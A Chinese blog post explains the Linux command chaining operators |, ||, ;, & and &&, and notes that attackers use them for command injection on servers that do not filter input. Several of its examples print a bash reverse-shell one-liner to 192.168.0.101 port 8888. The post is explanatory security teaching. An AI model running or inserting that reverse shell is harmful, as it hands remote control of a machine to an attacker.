当前位置: 首页 > java >正文

命令拼接符

Linux多命令顺序执行符号需要记住5个 【】【||】【 ;】 【&】 【&&】 ,在命令执行里面,如果服务器疏忽大意没做限制,黑客通过高命令拼接符,可以输入很多非法的操作。

ailx10

网络安全优秀回答者

互联网行业 安全攻防员

去知乎咨询

】管道符,前面的输出,作为后面的输入,前面后面出错,语句都会出错

pwd | cat index.html bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

||】前面的执行成功,后面的不会程序,前面的执行失败,后面的会执行

pwd || cat index.html/Users/ailx10

 ;】分号,前后没有任何逻辑关系,不管是否正确,都会一直执行下去

pwd ; cat index.html/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

&】前面在后台跑,然后执行后面的程序

pwd & cat index.html[1] 20284
/Users/ailx10
[1]  + done       pwd
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

&&】前面的执行成功,才会执行后面的,前面的执行不成功,后面的不会执行

pwd && cat index.html/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

举个例子,在Mac/Linux 系统中,我不知道哪个端口在对外提供服务,我该如何找到它?那么就可以使用管道符【|】,将左边的查询结果,传递给右边的筛选命令,最后输出我们想要的结果。 这里很轻松的发现我的Mac电脑开启了一个Web服务,端口是7777,并且是Python程序起的服务。

sudo lsof -i -P | grep LISTEN

已开启送礼物

http://www.xdnf.cn/news/6748.html

相关文章:

  • MySQL锁机制详解与加锁流程全解析
  • sychronized原理(嚼碎了喂版)
  • 代码随想录算法训练营第三十八天打卡
  • 数据预处理-数据清洗(缺失值、重复值、异常值)
  • AUTOSAR图解==>AUTOSAR_SWS_ICUDriver
  • 龙虎榜——20250516
  • WHAT - SSR vs SSG vs ISR
  • STL学习
  • python报错:使用json.dumps()时,报错type xxx is not json serializable错误原因及解决方案
  • 反转链表链表数据结构oj题(206)
  • Spring MVC 中请求处理流程及核心组件解析
  • 2024 睿抗机器人开发者大赛CAIP-编程技能赛-本科组(国赛) 解题报告 | 珂学家
  • React中useMemo和useCallback的作用:
  • 人工智能-状态空间-猴子摘香蕉
  • 从零实现一个高并发内存池 - 4
  • 中级网络工程师知识点3
  • 城市排水管网流量监测系统解决方案
  • HC32L190 串口驱动
  • [ linux-系统 ] 命令行参数 | 环境变量
  • 数据库--向量化基础
  • C++跨平台开发:突破不同平台的技术密码
  • 从硬件角度理解“Linux下一切皆文件“,详解用户级缓冲区
  • 增量学习:机器学习领域中的资源高效利用秘籍
  • HTTPS 加密原理
  • 编译原理概述
  • 将three.js场景保存成图片
  • IEEE PRMVAI 2025 IEEE PRMVAI 探索人工智能在基础设施建设应用与运维中的新挑战
  • 某某建筑市场监管公共服务平台|数据解密—逆向分析
  • rocketmq 环境配置[python]
  • 记录算法笔记(2025.5.15)将有序数组转换为二叉搜索树